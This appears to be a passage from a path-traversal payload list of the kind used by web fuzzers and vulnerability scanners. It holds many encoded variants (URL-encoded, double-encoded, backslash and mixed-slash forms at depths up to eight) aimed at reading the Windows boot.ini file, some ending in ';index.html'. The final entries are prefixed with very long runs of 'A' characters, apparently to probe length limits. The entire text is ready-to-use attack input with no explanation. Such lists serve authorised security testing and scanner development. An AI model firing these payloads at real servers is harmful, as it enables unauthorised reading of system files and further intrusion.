.%2fboot.ini;index.html\r\n..%2f..%2f..%2f..%2f..%2f..%2f..%2fboot.ini;index.html\r\n..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fboot.ini;index.html\r\n%2e%2e/boot.ini;index.html\r\n%2e%2e/%2e%2e/boot.ini;index.html\r\n%2e%2e/%2e%2e/%2e%2e/boot.ini;index.html\r\n%2e%2e/%2e%2e/%2e%2e/%2e%2e/boot.ini;index.html\r\n%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/boot.ini;index.html\r\n%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/boot.ini;index.html\r\n%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/boot.ini;index.html\r\n%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/boot.ini;index.html\r\n%2e%2e%2fboot.ini;index.html\r\n%2e%2e%2f%2e%2e%2fboot.ini;index.html\r\n%2e%2e%2f%2e%2e%2f%2e%2e%2fboot.ini;index.html\r\n%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fboot.ini;index.html\r\n%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fboot.ini;index.html\r\n%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fboot.ini;index.html\r\n%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fboot.ini;index.html\r\n%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fboot.ini;index.html\r\n..%252fboot.ini;index.html\r\n..%252f..%252fboot.ini;index.html\r\n..%252f..%252f..%252fboot.ini;index.html\r\n..%252f..%252f..%252f..%252fboot.ini;index.html\r\n..%252f..%252f..%252f..%252f..%252fboot.ini;index.html\r\n..%252f..%252f..%252f..%252f..%252f..%252fboot.ini;index.html\r\n..%252f..%252f..%252f..%252f..%252f..%252f..%252fboot.ini;index.html\r\n..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fboot.ini;index.html\r\n%252e%252e/boot.ini;index.html\r\n%252e%252e/%252e%252e/boot.ini;index.html\r\n%252e%252e/%252e%252e/%252e%252e/boot.ini;index.html\r\n%252e%252e/%252e%252e/%252e%252e/%252e%252e/boot.ini;index.html\r\n%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/boot.ini;index.html\r\n%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/boot.ini;index.html\r\n%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/boot.ini;index.html\r\n%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/boot.ini;index.html\r\n%252e%252e%252fboot.ini;index.html\r\n%252e%252e%252f%252e%252e%252fboot.ini;index.html\r\n%252e%252e%252f%252e%252e%252f%252e%252e%252fboot.ini;index.html\r\n%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252fboot.ini;index.html\r\n%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252fboot.ini;index.html\r\n%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252fboot.ini;index.html\r\n%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252fboot.ini;index.html\r\n%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252fboot.ini;index.html\r\n..\\boot.ini;index.html\r\n..\\..\\boot.ini;index.html\r\n..\\..\\..\\boot.ini;index.html\r\n..\\..\\..\\..\\boot.ini;index.html\r\n..\\..\\..\\..\\..\\boot.ini;index.html\r\n..\\..\\..\\..\\..\\..\\boot.ini;index.html\r\n..\\..\\..\\..\\..\\..\\..\\boot.ini;index.html\r\n..\\..\\..\\..\\..\\..\\..\\..\\boot.ini;index.html\r\n..%5cboot.ini;index.html\r\n..%5c..%5cboot.ini;index.html\r\n..%5c..%5c..%5cboot.ini;index.html\r\n..%5c..%5c..%5c..%5cboot.ini;index.html\r\n..%5c..%5c..%5c..%5c..%5cboot.ini;index.html\r\n..%5c..%5c..%5c..%5c..%5c..%5cboot.ini;index.html\r\n..%5c..%5c..%5c..%5c..%5c..%5c..%5cboot.ini;index.html\r\n..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5cboot.ini;index.html\r\n%2e%2e\\boot.ini;index.html\r\n%2e%2e\\%2e%2e\\boot.ini;index.html\r\n%2e%2e\\%2e%2e\\%2e%2e\\boot.ini;index.html\r\n%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\boot.ini;index.html\r\n%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\boot.ini;index.html\r\n%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\boot.ini;index.html\r\n%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\boot.ini;index.html\r\n%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\boot.ini;index.html\r\n%2e%2e%5cboot.ini;index.html\r\n%2e%2e%5c%2e%2e%5cboot.ini;index.html\r\n%2e%2e%5c%2e%2e%5c%2e%2e%5cboot.ini;index.html\r\n%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cboot.ini;index.html\r\n%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cboot.ini;index.html\r\n%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cboot.ini;index.html\r\n%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cboot.ini;index.html\r\n%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cboot.ini;index.html\r\n..%255cboot.ini;index.html\r\n..%255c..%255cboot.ini;index.html\r\n..%255c..%255c..%255cboot.ini;index.html\r\n..%255c..%255c..%255c..%255cboot.ini;index.html\r\n..%255c..%255c..%255c..%255c..%255cboot.ini;index.html\r\n..%255c..%255c..%255c..%255c..%255c..%255cboot.ini;index.html\r\n..%255c..%255c..%255c..%255c..%255c..%255c..%255cboot.ini;index.html\r\n..%255c..%255c..%255c..%255c..%255c..%255c..%255c..%255cboot.ini;index.html\r\n%252e%252e\\boot.ini;index.html\r\n%252e%252e\\%252e%252e\\boot.ini;index.html\r\n%252e%252e\\%252e%252e\\%252e%252e\\boot.ini;index.html\r\n%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\boot.ini;index.html\r\n%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\boot.ini;index.html\r\n%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\boot.ini;index.html\r\n%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\boot.ini;index.html\r\n%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\boot.ini;index.html\r\n%252e%252e%255cboot.ini;index.html\r\n%252e%252e%255c%252e%252e%255cboot.ini;index.html\r\n%252e%252e%255c%252e%252e%255c%252e%252e%255cboot.ini;index.html\r\n%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255cboot.ini;index.html\r\n%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255cboot.ini;index.html\r\n%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255cboot.ini;index.html\r\n%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255cboot.ini;index.html\r\n%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255cboot.ini;index.html\r\n\\../boot.ini\r\n\\../\\../boot.ini\r\n\\../\\../\\../boot.ini\r\n\\../\\../\\../\\../boot.ini\r\n\\../\\../\\../\\../\\../boot.ini\r\n\\../\\../\\../\\../\\../\\../boot.ini\r\n\\../\\../\\../\\../\\../\\../\\../boot.ini\r\n\\../\\../\\../\\../\\../\\../\\../\\../boot.ini\r\n/..\\boot.ini\r\n/..\\/..\\boot.ini\r\n/..\\/..\\/..\\boot.ini\r\n/..\\/..\\/..\\/..\\boot.ini\r\n/..\\/..\\/..\\/..\\/..\\boot.ini\r\n/..\\/..\\/..\\/..\\/..\\/..\\boot.ini\r\n/..\\/..\\/..\\/..\\/..\\/..\\/..\\boot.ini\r\n/..\\/..\\/..\\/..\\/..\\/..\\/..\\/..\\boot.ini\r\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/../boot.ini\r\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/../../boot.ini\r\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/../../../boot.ini\r\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/../../../../boot.ini\r\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/../../../../../boot.ini\r\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/../../../../../../boot.ini\r\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/../../../../../../../boot.ini\r\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/../../../../../../../../boot.ini\r\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\\..\\boot.ini\r\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA